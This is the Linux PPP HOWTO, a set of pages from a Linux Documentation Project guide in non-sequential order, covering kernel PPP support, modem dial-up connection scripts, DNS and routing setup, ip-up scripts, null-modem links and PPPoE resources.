This HOWTO assumes that you are using a Linux 1.2.x kernel with the PPP 2.1.2 software or 1.3.x/2.0.x/2.2.x kernel with the PPP 2.4.0 software.

This HOWTO will cover version 1.6.18 of KPPP.

This HOWTO will cover version 1.41 of WvDial.

This HOWTO will cover version 0.03 of PPPoE.

This HOWTO will cover version 1.18 of Linuxconf.

Please try to use the latest versions of software, as many bugs are fixed as time goes on.

Prev | Home | Next
This document at present does NOT cover... |  | Other Useful/Important Documents


Other Useful/Important Documents

Linux PPP HOWTO
Prev Next

Chapter 6. Other Useful/Important Documents

Users are advised to read :-

  • The documentation that comes with the PPP package.

  • The pppd and chat man pages; (use man chat and man pppd to explore these.)

  • The Linux Network Administration Guide (NAG); see The Network Administrators' Guide.

  • The Net-2/3 HOWTO; see Linux Networking-HOWTO.

  • Linux kernel documentation installed in /usr/src/linux/Documentation when you install the Linux source code.

  • The modem setup information page - see Modem Setup Information.

  • The excellent Unix/Linux books published by O'Reilly and Associates. See (O'Reilly and Associates On-Line Catalogue). If you are new to Unix/Linux, run (don't walk) to your nearest computer book shop and invest in a number of these immediately!

  • The PPP-FAQ maintained by Al Longyear, available from Linux PPP-FAQ. This contains a great deal of useful information in question/answer format that is very useful when working out why PPP is not working (properly).

  • The growing number of Linux books from various publishing houses and authors; You are actively encouraged to check the currency of these books. Linux development and distributions tend to evolve fairly rapidly, whilst the revision of books move (generally) much more slowly! Buying an excellent book (and there are many) that is now out of date will cause new users considerable confusion and frustration.

  • The documentation associated with the PPP tool(s) you are using The package specific documentation, usually easily available, is often the most useful when dealing with a specific tool.

The best general starting point for Linux documentation is The Linux Documentation Project Home Page. The HOWTO's tend to be revised reasonably regularly.

Whilst you can use this document to create your PPP link without reading any of these documents, you will have a far better understanding of what is going on if you do so! You will also be able to address problems yourself (or at least ask more intelligent questions on the comp.os.linux... newsgroups or Linux mailing lists).

These documents (as well as various others, including the relevant RFCs) provide additional and more detailed explanation than is possible in this HOWTO.

If you are connecting a LAN to the Internet using PPP, you will need to know a reasonable amount about TCP/IP networking. In addition to the documents above, you will find the O'Reilly books "TCP/IP Network Administration" and "Building Internet Firewalls" of considerable benefit!

6.1. Useful Linux Mailing Lists

There are many Linux mailing lists that operate as a means of communication between users of many levels of ability. By all means subscribe to those that interest you and contribute your expertise and views.

A word to the wise: some lists are specifically aimed at "high powered" users and/or specific topics. Whilst no-one will complain if you 'lurk' (subscribe but don't post messages), you are likely to earn heated comments (if not outright flames) if you post 'newbie' questions to inappropriate lists.

This is not because guru level users hate new users, but because these lists are there to handle the specific issues at particular levels of difficulty.

By all means join the lists that offer open subscription, but keep your comments relevant to the subject of the list!

A good starting point for Linux mailing lists is Linux Mailing List Directory

Prev | Home | Next
Software versions covered |  | Easy Configuration Utilities for PPP


Overview of what has to be done to get PPP working as a client

Linux PPP HOWTO
Prev Next

Chapter 9. Overview of what has to be done to get PPP working as a client

Table of Contents
9.1. Obtaining/Installing the software
9.2. Compiling PPP support into the kernel
9.3. Obtaining information from your ISP
9.4. Configuring your modem and serial port
9.5. Setting up Name to Address Resolution (DNS)
9.6. PPP and root Privileges
9.7. Checking your distribution PPP Files and setting up the PPP Options
9.8. If your PPP server uses PAP (Password Authentication Protocol)
9.9. Connecting to the PPP server by hand
9.10. Automating your PPP Connection
9.11. Shutting down the link
9.12. If you have problems
9.13. After the link comes up
9.14. Problems with standard IP services on a Dynamic IP number PPP link
9.15. Maintaining a permanent connection to the net with pppd.

This document contains a great deal of information - and with each version it grows!

As a consequence, this section aims to provide a concise overview of the actions you will need to take to get your Linux system connected as a client to a PPP server.

9.1. Obtaining/Installing the software

If your Linux distribution does not include the PPP software, you will need to obtain this from the Linux PPP daemon.

Select the latest possible version(2.4.0 at the time of this writing.)

The PPP package contains instructions on how to compile and install the software so this HOWTO does not!

Prev | Home | Next
Other Problems |  | Compiling PPP support into the kernel


Testing your connection script

Linux PPP HOWTO
Prev Next

Chapter 19. Testing your connection script

Open a new root Xterm (if you are in X) or open a new virtual console and log in as root.

In this new session, issue the command

tail -f /var/log/messages

(or whatever your system log file is).

In the first window (or virtual console) issue the command

ppp-on &

(or whatever name you have called your edited version of /usr/sbin/ppp- on). If you do not put the script into the background by specifying & at the end of the command, you will not get your terminal prompt back until ppp exits (when the link terminates).

Now switch back to the window that is tracking your system log.

You will see something like the following (provided you specified -v to chat and -d to pppd)....this is the chat script and responses being logged to the system log file followed by the start up information for pppd :-

Oct 21 16:09:58 hwin chat[19868]: abort on (NO CARRIER)
Oct 21 16:09:59 hwin chat[19868]: abort on (BUSY)
Oct 21 16:09:59 hwin chat[19868]: send (ATZ^M)
Oct 21 16:09:59 hwin chat[19868]: expect (OK)
Oct 21 16:10:00 hwin chat[19868]: ATZ^M^M
Oct 21 16:10:00 hwin chat[19868]: OK -- got it
Oct 21 16:10:00 hwin chat[19868]: send (ATDT722298^M)
Oct 21 16:10:00 hwin chat[19868]: expect (CONNECT)
Oct 21 16:10:00 hwin chat[19868]: ^M
Oct 21 16:10:22 hwin chat[19868]: ATDT722298^M^M
Oct 21 16:10:22 hwin chat[19868]: CONNECT -- got it
Oct 21 16:10:22 hwin chat[19868]: send (^M)
Oct 21 16:10:22 hwin chat[19868]: expect (ogin:)
Oct 21 16:10:23 hwin chat[19868]: kepler login: -- got it
Oct 21 16:10:23 hwin chat[19868]: send (hartr^M)
Oct 21 16:10:23 hwin chat[19868]: expect (ssword:)
Oct 21 16:10:23 hwin chat[19868]:  hartr^M
Oct 21 16:10:23 hwin chat[19868]: Password: -- got it
Oct 21 16:10:23 hwin chat[19868]: send (??????^M)
Oct 21 16:10:23 hwin chat[19868]: expect (hartr)
Oct 21 16:10:24 hwin chat[19868]: [hartr -- got it
Oct 21 16:10:24 hwin chat[19868]: send (ppp^M)
Oct 21 16:10:27 hwin pppd[19872]: pppd 2.1.2 started by root, uid 0
Oct 21 16:10:27 hwin pppd[19873]: Using interface ppp0
Oct 21 16:10:27 hwin pppd[19873]: Connect: ppp0 <--> /dev/cua1
Oct 21 16:10:27 hwin pppd[19873]: fsm_sdata(LCP): Sent code 1, id 1.
Oct 21 16:10:27 hwin pppd[19873]: LCP: sending Configure-Request, id 1
Oct 21 16:10:27 hwin pppd[19873]: fsm_rconfreq(LCP): Rcvd id 1.
Oct 21 16:10:27 hwin pppd[19873]: lcp_reqci: rcvd MRU
Oct 21 16:10:27 hwin pppd[19873]: (1500)
Oct 21 16:10:27 hwin pppd[19873]:  (ACK)
Oct 21 16:10:27 hwin pppd[19873]: lcp_reqci: rcvd ASYNCMAP
Oct 21 16:10:27 hwin pppd[19873]: (0)
Oct 21 16:10:27 hwin pppd[19873]:  (ACK)
Oct 21 16:10:27 hwin pppd[19873]: lcp_reqci: rcvd MAGICNUMBER
Oct 21 16:10:27 hwin pppd[19873]: (a098b898)
Oct 21 16:10:27 hwin pppd[19873]:  (ACK)
Oct 21 16:10:27 hwin pppd[19873]: lcp_reqci: rcvd PCOMPRESSION
Oct 21 16:10:27 hwin pppd[19873]:  (ACK)
Oct 21 16:10:27 hwin pppd[19873]: lcp_reqci: rcvd ACCOMPRESSION
Oct 21 16:10:27 hwin pppd[19873]:  (ACK)
Oct 21 16:10:27 hwin pppd[19873]: lcp_reqci: returning CONFACK.
Oct 21 16:10:27 hwin pppd[19873]: fsm_sdata(LCP): Sent code 2, id 1.
Oct 21 16:10:27 hwin pppd[19873]: fsm_rconfack(LCP): Rcvd id 1.
Oct 21 16:10:27 hwin pppd[19873]: fsm_sdata(IPCP): Sent code 1, id 1.
Oct 21 16:10:27 hwin pppd[19873]: IPCP: sending Configure-Request, id 1
Oct 21 16:10:27 hwin pppd[19873]: fsm_rconfreq(IPCP): Rcvd id 1.
Oct 21 16:10:27 hwin pppd[19873]: ipcp: received ADDR
Oct 21 16:10:27 hwin pppd[19873]: (10.144.153.51)
Oct 21 16:10:27 hwin pppd[19873]:  (ACK)
Oct 21 16:10:27 hwin pppd[19873]: ipcp: received COMPRESSTYPE
Oct 21 16:10:27 hwin pppd[19873]: (45)
Oct 21 16:10:27 hwin pppd[19873]:  (ACK)
Oct 21 16:10:27 hwin pppd[19873]: ipcp: returning Configure-ACK
Oct 21 16:10:28 hwin pppd[19873]: fsm_sdata(IPCP): Sent code 2, id 1.
Oct 21 16:10:30 hwin pppd[19873]: fsm_sdata(IPCP): Sent code 1, id 1.
Oct 21 16:10:30 hwin pppd[19873]: IPCP: sending Configure-Request, id 1
Oct 21 16:10:30 hwin pppd[19873]: fsm_rconfreq(IPCP): Rcvd id 255.
Oct 21 16:10:31 hwin pppd[19873]: ipcp: received ADDR
Oct 21 16:10:31 hwin pppd[19873]: (10.144.153.51)
Oct 21 16:10:31 hwin pppd[19873]:  (ACK)
Oct 21 16:10:31 hwin pppd[19873]: ipcp: received COMPRESSTYPE
Oct 21 16:10:31 hwin pppd[19873]: (45)
Oct 21 16:10:31 hwin pppd[19873]:  (ACK)
Oct 21 16:10:31 hwin pppd[19873]: ipcp: returning Configure-ACK
Oct 21 16:10:31 hwin pppd[19873]: fsm_sdata(IPCP): Sent code 2, id 255.
Oct 21 16:10:31 hwin pppd[19873]: fsm_rconfack(IPCP): Rcvd id 1.
Oct 21 16:10:31 hwin pppd[19873]: ipcp: up
Oct 21 16:10:31 hwin pppd[19873]: local  IP address 10.144.153.104
Oct 21 16:10:31 hwin pppd[19873]: remote IP address 10.144.153.51

(Note - I am using STATIC IP numbers - hence my machine sent that to the PPP server - you won't see this if you are using DYNAMIC IP numbers.) Also, this server requires a specific command to start ppp at its end.

This looks OK - so test it out as before with pings to IP numbers and host names.

Fire up you web browser or whatever and go surfing - you are connected!

Prev | Home | Next
The pppd debug and file option_file options |  | Shutting down the PPP link


Getting Help when totally stuck

Linux PPP HOWTO
Prev Next

Chapter 21. Getting Help when totally stuck

If you can't get your PPP link to work, go back through this document and check everything - in conjunction with the output created by "chat-v..." and "pppd -d" in you system log.

Also consult the PPP documentation and FAQ plus the other documents mention herein!

If you are still stuck, try the comp.os.linux.misc and comp.os.linux.networking newsgroups are reasonably regularly scanned by people that can help you with PPP as is comp.protocols.ppp

You can try sending me personal email, but I do have a day job (and a life) and I do not guarantee to respond quickly (if at all) as this depends on my current work load and the state of my private life!

In particular - DO NOT POST REAMS OF DEBUGGING OUTPUT TO THE NEWS GROUPS NOR SEND IT TO ME BY EMAIL - the former wastes huge amounts of network bandwidth and the latter will be consigned to /dev/null (unless I have specifically requested it).

Prev | Home | Next
Shutting down the PPP link |  | Common Problems once the link is working


Common Problems once the link is working

Linux PPP HOWTO
Prev Next

Chapter 22. Common Problems once the link is working

Table of Contents
22.1. I can't see beyond the PPP server I connect to
22.2. I can send email, but not receive it
22.3. Why can't people finger, WWW, gopher, talk, etc. to my machine?

One problem you will find is that many service providers will only support the connection software package that they distribute to new accounts. This is (typically) for Microsoft Windows :-( - and many service provider help desks seem to know nothing about Unix (or Linux). So, be prepared for limited assistance from them!

You could of course do the individual a favour and educate then about Linux (any ISP help desk person should be reasonably 'with it' in Internet terms and that means they should have a home Linux box - of course it does)!

22.1. I can't see beyond the PPP server I connect to

OK - your PPP connection is up and running and you can ping the PPP server by IP number (the second or "remote" IP number shown by ifconfig ppp0), but you can't reach anything beyond this.

First of all, try pinging the IP numbers you have specified in /etc/resolv.conf as name servers. If this works, you can see beyond your PPP server (unless this has the same IP number as the "remote" IP number of your connection). So now try pinging the full Internet name of your service provider - eg

ping my.provider.net.au

If this does NOT work, you have a problem with the name resolution. This is probably because of a typo in your /etc/resolv.conf file. Check this carefully against the information you acquired by ringing your service provider. If all looks OK, ring your service provider and check that you wrote down the IP numbers correctly.

If it STILL doesn't work (and your service provider confirms that his name servers are up and running), you have a problem somewhere else - and I suggest you check carefully through your Linux installation (looking particularly for file permissions).

If you STILL can't ping your service provider's IP name servers by IP number, either they are down (give them a voice call and check) or there is a routing problem at your service provider's end. Again, ring them and check this out.

One possibility is that the "remote end" is a Linux PPP server where the IP forwarding option has not been specified in the kernel!

A good general test is to try connecting to your service provider using the software that most supply for (gulp) Microsoft Windows. If everything works from another operating system to exactly the same account, then the problem is with your Linux system and NOT your service provider.

Prev | Home | Next
Getting Help when totally stuck |  | I can send email, but not receive it


Using /etc/ppp/ip-down

Linux PPP HOWTO
Prev Next

Chapter 26. Using /etc/ppp/ip-down

You can create a script that will be executed once the link has been terminated. This is stored in /etc/ppp/ip-down. It can be used to undo anything special that you did in the corresponding /etc/ppp/ip-up script.

Prev | Home | Next
Handling email |  | Routing issues on a LAN


Routing issues on a LAN

Linux PPP HOWTO
Prev Next

Chapter 27. Routing issues on a LAN

If you are connected to a LAN but still want to use PPP on your personal Linux machine , you need to address some issues of the routes packets need to take from your machine to reach your LAN (through your Ethernet interface) and also to the remote PPP server and beyond.

This section does NOT attempt to teach you about routing - it deals only with a simple, special case of (static) routing!

I strongly urge you to read the Linux Network Administrator Guide (NAG) if you are NOT familiar with routing. Also the O'Reilly book "TCP/IP Network Administration" covers this topic in a very understandable form.

The basic rule of static routing is that the DEFAULT route should be the one that points to the MOST number of network addresses. For other networks, enter specific routes to the routing table.

The ONLY situation I am going to cover here is where your Linux box is on a LAN that is not connected to the Internet - and you want to dial out to the Internet for personal use whilst still connected to the LAN.

First of all, make sure that your Ethernet route is set up to the specific network addresses available across your LAN - NOT set to the default route!

Check this by issuing a route command, you should see something like the following:-

[root@hwin /root]# route -n
Kernel routing table
Destination     Gateway         Genmask         Flags MSS    Window Use Iface
loopback        *               255.255.255.0   U     1936   0       50 lo
10.0.0.0        *               255.255.255.0   U     1436   0      565 eth0

If your Ethernet interface (eth0) is pointing at the default route, (the first column will show "default" in the eth0 line) you need to change your Ethernet initialization scripts to make it point at the specific network numbers rather than the default route (consult the Net2 HOWTO and NAG).

This will allow pppd to set up your default route as shown below:-

[root@hwin /root]# route -n
Kernel routing table

Destination     Gateway         Genmask         Flags MSS    Window Use Iface
10.144.153.51   *               255.255.255.255 UH    488    0        0 ppp0
127.0.0.0       *               255.255.255.0   U     1936   0       50 lo
10.1.0.0        *               255.255.255.0   U     1436   0      569 eth0
default         10.144.153.51   *               UG    488    0        3 ppp0

As you can see, we have a host route to the PPP server ( 10.144.153.51) via ppp0 and also a default network route that uses the PPP server as its gateway.

If your set up needs to be more complex than this - read the routing documents already mentioned and consult an expert at your site!

If your LAN already has routers on it, you will already have gateways established to the wider networks available at your site. You should STILL point your default route at the PPP interface - and make the other routes specific to the networks they serve.

27.1. Note on Security

When you set up a Linux box on an existing LAN to link into the Internet, you are potentially opening your entire LAN to the Internet - and the hackers that reside there. Before you do this, I strongly urge you to consult your network administrator and site security policy. If your PPP connection to the Internet is used to successfully attack your site, you will at the very least earn the intense anger of your fellow users, network and system administrators. You may also find yourself in very much more serious trouble!

Before you connect a LAN to the Internet, you should consider the security implications of even a DYNAMIC connection - hence the earlier reference to the O'Reilly "Building Internet Firewalls"!

Prev | Home | Next
Using /etc/ppp/ip-down |  | Setting up a PPP server


PPPoE or PPP over Ethernet

Linux PPP HOWTO
Prev

Chapter 30. PPPoE or PPP over Ethernet

This document does not currently cover PPoE as it appears to NOT (for Linux anyway) be under active development. For those who have interest or need of PPPoE we do include the following links.

We have heard rumors that the 2.4 series of kernels will have PPoE but we are unable to confirm this at this time. If you know differently please contact us.

  • pppoe: a PPP-over-Ethernet redirector for pppd

    This program can be used to enable PPPoE support using the pppd daemon. PPPoE is a technique for the encapsulation of PPP streams inside of Ethernet frames. This technology is being deployed by high-speed Internet access providers (cable modems, xDSL, etc.) in order to decouple the supply of bandwidth from ISP services. In particular, in Canada, the Bell Sympatico ADSL service is moving from DHCP-based access control to PPPoE. Further details on PPPoE can be found in RFC2516.

  • Roaring Penguin PPoE Client.

    The client is a user-mode program and does not require any kernel modifications. It is fully compliant with RFC 2516, the official PPPoE specification.

  • A PPoE FAQ Page. This page includes comprehensive information on what PPoE is, what it is used for, and implementations of the protocol. If you are looking for a good all around resource on PPoE this is an excellent page to start with.

  • The actual RFC. This is for the technically minded only and usually only of help to those wishing to program with or for the protocol.

Prev | Home
Using PPP across a null modem (direct serial) connection |


Using PPP across a null modem (direct serial) connection

Linux PPP HOWTO
Prev Next

Chapter 29. Using PPP across a null modem (direct serial) connection

This is very simple - there is no modem in the way so things are much simpler.

First of all, choose one of the machines as a 'server', setting up a getty on the serial port so you can test that you do have connectivity using minicom to access the serial port on the 'client'.

Once you have this functioning, you can remove the getty UNLESS you want to make sure that the connection is validated using user name/password pairs as for a dial up connection. As you have 'physical control' of both machines, I will presume that you do NOT want to do this.

Now, on the server, remove the getty and make sure that you have the serial ports on both machines configured correctly using 'setserial'.

All you need to do now is to start pppd on both systems. I will assume that the connection uses /dev/ttyS34 on both machines. So, on both machines execute the command:-

pppd -detach crtscts lock <local IP>:<remote IP> /dev/ttyS3 38400 &

This will bring up the link - but as yet you have no routing specified. You can test the link by pinging to and fro to each machine. If this works, bring down the link by killing one of the pppd processes.

The routing you need will of course depend on exactly what you are trying to do. Generally, one of the machines will be connected to an Ethernet (and beyond) and so the routing required is exactly the same as for a PPP server and client.

So on the Ethernet equipped machine, the pppd command would be...

pppd -detach crtscts lock proxyarp <local IP>:<remote IP> /dev/ttyS3 38400 &

and on the other machine ...

pppd -detach crtscts lock defaultroute <local IP>:<remote IP> /dev/ttyS3 38400 &

If you are linking two networks (using a serial link!) or have more complex routing requirements, you can use /etc/ppp/ip-up in exactly the same way as mentioned earlier in this document.

Prev | Home | Next
Setting up the global alias for pppd |  | PPPoE or PPP over Ethernet


Setting up Name to Address Resolution (DNS)

Linux PPP HOWTO
Prev Next

Chapter 13. Setting up Name to Address Resolution (DNS)

Table of Contents
13.1. The /etc/resolv.conf file
13.2. The /etc/host.conf file

Whilst we humans like to give names to things, computers really like numbers. On a TCP/IP network (which is what the Internet is), we call machines by a particular name - and every machine lives in a particular domain. For example, my Linux workstation is called archenland and it resides in the interweft.com.au domain. Its human readable address is thus archenland.interweft.com.au (which is known as the FQDN - fully qualified domain name).

However, for this machine to be found by other computers on the Internet, it is actually known by its IP number when computers are communicating across the Internet.

Translating (resolving) machine (and domain) names into the numbers actually used on the Internet is the business of machines that offer the Domain Name Service.

What happens is this:-

  • your machine needs to know the IP address of a particular computer. The application requiring this information asks the 'resolver' on your Linux PC to provide this information;

  • the resolver queries the local host file (/etc/hosts and/or the domain name servers it knows about (the exact behaviour of the resolver is determined by /etc/host.conf);

  • if the answer is found in the host file, this answer is returned;

  • if a domain name server is specified, your PC queries this machine;

  • if the DNS machine already knows the IP number for the required name, it returns it. If it does not, it queries other name servers across the Internet to find the information. The name server than passes this information back to the requesting resolver - which gives the information to the requesting application.

When you make a PPP connection, you need to tell your Linux machine where it can get host name to IP number (address resolution) information so that you can use the machine names but your computer can translate these to the IP numbers it needs to do its work.

One way is to enter every host that you want to talk to into the /etc/hosts file (which is in reality totally impossible if you are connecting to the Internet); another is to use the machine IP numbers as opposed to the names (an impossible memory task for all but the smallest LANs).

The best way is to set up Linux so that it knows where to go to get this name to number information - automatically. This service is provided by the Domain Name Server (DNS) system. All that is necessary is to enter the IP number(s) for the domain name servers into your /etc/resolv.conf file.

13.1. The /etc/resolv.conf file

Your PPP server sysadmin/user support people should provide you with two DNS IP numbers (only one is necessary - but two gives some redundancy in the event of failure).

As previously mentioned, Linux cannot set its name server IP number in the way that MS Windows 95 does. So you must insist (politely) that your ISP provide you with this information!

Your /etc/resolv.conf should look something like :-

domain your.isp.domain.name
nameserver 10.25.0.1
nameserver 10.25.1.2

Edit this file (creating it if necessary) to represent the information that your ISP has provided. It should have ownership and permissions as follows :-

-rw-r--r--   1 root     root           73 Feb 19 01:46 /etc/resolv.conf

If you have already set up a /etc/resolv.conf because you are on a LAN, simply add the IP numbers of the PPP DNS servers to your existing file.

Prev | Home | Next
Testing your modem for dial out |  | The /etc/host.conf file


Using Internet services with Dynamic IP numbers

Linux PPP HOWTO
Prev Next

Chapter 23. Using Internet services with Dynamic IP numbers

Table of Contents
23.1. Setting up email
23.2. Setting Up a local Name server

If you are using dynamic IP numbers (and many service providers will only give you a dynamic IP number unless you pay significantly more for your connection), then you have to recognize the limitations this imposes.

First of all, outbound service requests will work just fine. That is, you can send email using sendmail (provided you have correctly set up sendmail), ftp files from remote sites, finger users on other machines, browse the web etc.

In particular, you can answer email that you have brought down to your machine whilst you are off line. Mail will simply sit in your mail queue until you dial back into your ISP.

However, your machine is NOT connected to the Internet 24 hours a day, nor does it have the same IP number every time it is connected. So it is impossible for you to receive email directed to your machine, and very difficult to set up a web or ftp server that your friends can access! As far as the Internet is concerned your machine does not exist as a unique, permanently contactable machine as it does not have a unique IP number (remember - other machines will be using the IP number when they are allocated it on dial-in).

If you set up a WWW, (or any other server), it is totally unknown by any user on the Internet UNLESS they know that your machine is connected AND its actual (current) IP number. There are a number of ways they can get this info, ranging from you ringing them, sending them email to tell them or cunning use of ".plan" files on a shell account at your service provider (assuming that your provider allows shell and finger access).

Now, for most users, this is not a problem - all that most people want is to send and receive email (using your account on your service provider) and make outbound connections to WWW, ftp and other servers on the Internet. If you MUST have inbound connections to your server, you should really get a static IP number. Alternatively you can explore the methods hinted at above...

23.1. Setting up email

Even for dynamic IP numbers, you can certainly configure sendmail on your machine to send out any email that you compose locally. Configuration of sendmail can be obscure and difficult - so this document does not attempt to tell you how to do this. However, you should probably configure sendmail so that your Internet service provider is designated as your "smart relay" host (the sendmail.cf DS option). (For more sendmail configuration info, see the sendmail documents - and look at the m4 configurations that come with sendmail. There is almost certain to be one there that will meet your needs).

There are also excellent books on Sendmail (notably the 'bible' from O'Reilly and Associates), but these are almost certainly overkill for most users!

Once you have sendmail configured, you will probably want to have sendmail dispatch any messages that have been sitting in the outbound mail queue as soon as the PPP connection comes up. To do this, add the command

sendmail -q &

to your /etc/ppp/ip-up script (see below).

Inbound email is a problem for dynamic IP numbers. The way to handle this is to:-

  • configure your mail user agent so that all mail is sent out with a "reply to" header giving your email address at your Internet Service provider. If you can, you should also set your FROM address to be your email address at your ISP as well.

  • use the popclient, fetchmail programs to retrieve your email from your service provider. Alternatively, if your ISP is using IMAP, use an IMAP enabled mail user agent, (such as pine).

You can automate this process at dial up time by putting the necessary commands in the /etc/ppp/ip-up script (see below).

Prev | Home | Next
Why can't people finger, WWW, gopher, talk, etc. to my machine? |  | Setting Up a local Name server


About This Document

This document was updated via assistance from the Open Source Documentation Fund. This is a LinuxPorts.Com Document for the Linux Documentation Project

This document shows how to connect your Linux PC to a PPP server, how to use PPP to link two LANs together and provides one method of setting up your Linux computer as a PPP server.The document also provides help in debugging non-functional PPP connections.

This document is distributed under the terms of the GPL (GNU Public License).

Prev | Home | Next
Linux PPP HOWTO |  | How can I help?


Linux PPP HOWTO

Corwin Light-Williams

Joshua Drake

Copyright © 2000 by Commandprompt, Inc

Copyright © 1997 by Robert Hart

This is a LinuxPorts.Com Document for the Linux Documentation Project.

Table of Contents
About This Document
1. How can I help?
2. Introduction
2.1. Clients and Servers
2.2. Differences between Linux distributions
2.3. PPP configuration tools
3. IP Numbers
4. Aims of this Document
4.1. Setting up a PPP Client
4.2. Linking two LANs or a LAN to the Internet using PPP
4.3. Using intuitive configuration tools to set up PPP
4.4. Setting up a PPP server
4.5. Using PPP over a direct null modem connection
4.6. This document at present does NOT cover...
5. Software versions covered
6. Other Useful/Important Documents
6.1. Useful Linux Mailing Lists
7. Easy Configuration Utilities for PPP
7.1. KPPP - The KDE PPP Dialer
7.2. WvDial - A command-line pppd driver
7.3. rp3 - RedHat PPP dialer
7.4. Linuxconf - Universal (almost) Linux PPP dialer
8. Debugging
8.1. I have compiled PPP support into the kernel, but...
8.2. My modem connects but ppp never starts up
8.3. The syslog says "serial line is not 8 bit clean"
8.4. Default route not set
8.5. Other Problems
9. Overview of what has to be done to get PPP working as a client
9.1. Obtaining/Installing the software
9.2. Compiling PPP support into the kernel
9.3. Obtaining information from your ISP
9.4. Configuring your modem and serial port
9.5. Setting up Name to Address Resolution (DNS)
9.6. PPP and root Privileges
9.7. Checking your distribution PPP Files and setting up the PPP Options
9.8. If your PPP server uses PAP (Password Authentication Protocol)
9.9. Connecting to the PPP server by hand
9.10. Automating your PPP Connection
9.11. Shutting down the link
9.12. If you have problems
9.13. After the link comes up
9.14. Problems with standard IP services on a Dynamic IP number PPP link
9.15. Maintaining a permanent connection to the net with pppd.
10. Configuring your Linux Kernel
10.1. Installing the Linux Kernel source
10.2. Knowing your hardware
10.3. Kernel compilation - the Linux 1.2.13 kernel
10.4. Kernel compilation - the Linux 1.3.x, 2.0.x, and 2.2.x kernels
10.5. Note on PPP-2.x and /proc/net/dev
10.6. General kernel config considerations for PPP
11. Getting the Information you need about the PPP server
12. Configuring your modem and serial port
12.1. A note about serial ports and speed capabilities
12.2. Serial Port Names
12.3. Configuring your modem
12.4. Note on Serial Flow Control
12.5. Testing your modem for dial out
13. Setting up Name to Address Resolution (DNS)
13.1. The /etc/resolv.conf file
13.2. The /etc/host.conf file
14. Using PPP and root privileges
15. Setting up the PPP connection files
15.1. The supplied options.tpl file
15.2. What options should I use? (No PAP/CHAP)
15.3. Other options to consider adding
16. If your PPP server uses PAP (Password Authentication Protocol)
16.1. Using MSCHAP
16.2. The PAP/CHAP secrets file
16.3. The PAP secrets file
16.4. The CHAP secrets file
16.5. Handling multiple PAP-authenticated connections
17. Setting up the PPP connection manually
18. Automating your connections - Creating the connection scripts
18.1. Connection scripts for User name/Password Authentication
18.2. The ppp-on script
18.3. Editing the supplied PPP startup scripts
18.4. What a Chat script means...
18.5. A chat script for PAP/CHAP authenticated connections
18.6. The pppd debug and file option_file options
19. Testing your connection script
20. Shutting down the PPP link
21. Getting Help when totally stuck
22. Common Problems once the link is working
22.1. I can't see beyond the PPP server I connect to
22.2. I can send email, but not receive it
22.3. Why can't people finger, WWW, gopher, talk, etc. to my machine?
23. Using Internet services with Dynamic IP numbers
23.1. Setting up email
23.2. Setting Up a local Name server
24. Linking two networks using PPP
24.1. Setting up the IP numbers
24.2. Setting up the routing
24.3. Network security
25. After the link comes up - the /etc/ppp/ip-up script
25.1. Special routing
25.2. Handling email queues
25.3. A sample /etc/ppp/ip-up script
25.4. Handling email
26. Using /etc/ppp/ip-down
27. Routing issues on a LAN
27.1. Note on Security
28. Setting up a PPP server
28.1. Kernel compilation
28.2. Overview of the server system
28.3. Getting the software together
28.4. Setting up standard (shell access) dialup.
28.5. Setting up the PPP options files
28.6. Setting pppd up to allow users to (successfully) run it
28.7. Setting up the global alias for pppd
29. Using PPP across a null modem (direct serial) connection
30. PPPoE or PPP over Ethernet
Next
About This Document


After the link comes up - the /etc/ppp/ip-up script

Linux PPP HOWTO
Prev Next

Chapter 25. After the link comes up - the /etc/ppp/ip-up script

Table of Contents
25.1. Special routing
25.2. Handling email queues
25.3. A sample /etc/ppp/ip-up script
25.4. Handling email

Once the PPP link is established, pppd looks for /etc/ppp/ip-up. If this script exists and is executable, the PPP daemon executes the script. This allows you to automate any special routing commands that may be necessary and any other actions that you want to occur every time the PPP link is activated.

This is just a shell script and can do anything that a shell script can do (i.e. virtually anything you want).

For example, you can get sendmail to dispatch any waiting outbound messages in the mail queue.

Similarly, you can insert the commands into ip-up to collect (using pop) any email waiting for you at your ISP.

There are restrictions on /etc/ppp/ip-up:-

  • It runs in a deliberately restricted environment to enhance security. This means you must give a full path to binaries etc.

  • Technically, /etc/ppp/ip-up is a program not a script. This means it can be directly executed - and hence it requires the standard file magic (#!/bin/bash) at the start of the first line and must be readable and executable by root.

25.1. Special routing

If you are linking two LANs, you will need to set up specific routes to the 'foreign' LANs. This is easily done using the /etc/ppp/ip-up script. The only difficulty arises if your machine handles multiple PPP links.

This is because the /etc/ppp/ip-up is executed for EVERY ppp connection that comes up, so you need to carefully execute the correct routing commands for the particular link that comes up - and not when any other link comes up!

Prev | Home | Next
Network security |  | Handling email queues


Configuring your Linux Kernel

Linux PPP HOWTO
Prev Next

Chapter 10. Configuring your Linux Kernel

Table of Contents
10.1. Installing the Linux Kernel source
10.2. Knowing your hardware
10.3. Kernel compilation - the Linux 1.2.13 kernel
10.4. Kernel compilation - the Linux 1.3.x, 2.0.x, and 2.2.x kernels
10.5. Note on PPP-2.x and /proc/net/dev
10.6. General kernel config considerations for PPP

In order to use PPP, your Linux kernel must be compiled to include PPP support. Obtain the Linux source code for your kernel if you do not already have this - it belongs in /usr/src/linux on Linux's standard file system.

Check out this directory - many Linux distributions install the source tree (the files and subdirectories) as part of their installation process.

At bootup, your Linux kernel prints out a great deal of information. Amongst this is information about PPP support and if the kernel includes it. To view this information, look at your syslog file or use
dmesg | less
to display the information to the screen. If your kernel includes PPP support, you will see lines like

PPP Dynamic channel allocation code copyright 1995 Caldera, Inc.
PPP line discipline registered.

(this is for the Linux 2.x.x kernel series).

Linux kernel sources can be obtained by ftp from sunsite.unc.edu or its mirror sites.

10.1. Installing the Linux Kernel source

The following are brief instructions for obtaining and installing the Linux kernel sources. Full information can be obtained from The Linux Kernel HOWTO.

In order to install and compile the Linux kernel, you need to be logged in as root.

  1. Change directory to the /usr/src directory cd /usr/src.

  2. Check in /usr/src/linux to see if you already have the sources installed.

  3. If you don't have the sources, get them from Linux kernel source directory or your nearest mirror. Select the appropriate directory- v2.0 if you are running a 2.0.x kernel, or v2.2 if you are running a 2.2.x kernel. If you are looking for earlier versions of the kernel (such as 1.2.X), these are kept in Old Linux kernel source directory.

  4. Choose the appropriate kernel - usually the most recent one available is what you are looking for. Retrieve this and put the source tar file in /usr/src. Note: a 'tar' file is an archive - possibly compressed (as are the Linux kernel source tar files) containing many files in a number of directories. It is the Linux equivalent of a DOS multi-directory zip file.

  5. If you already have the Linux sources installed but are upgrading to a new kernel, you must remove the old sources. Use the command rm -rf /usr/src/linux.

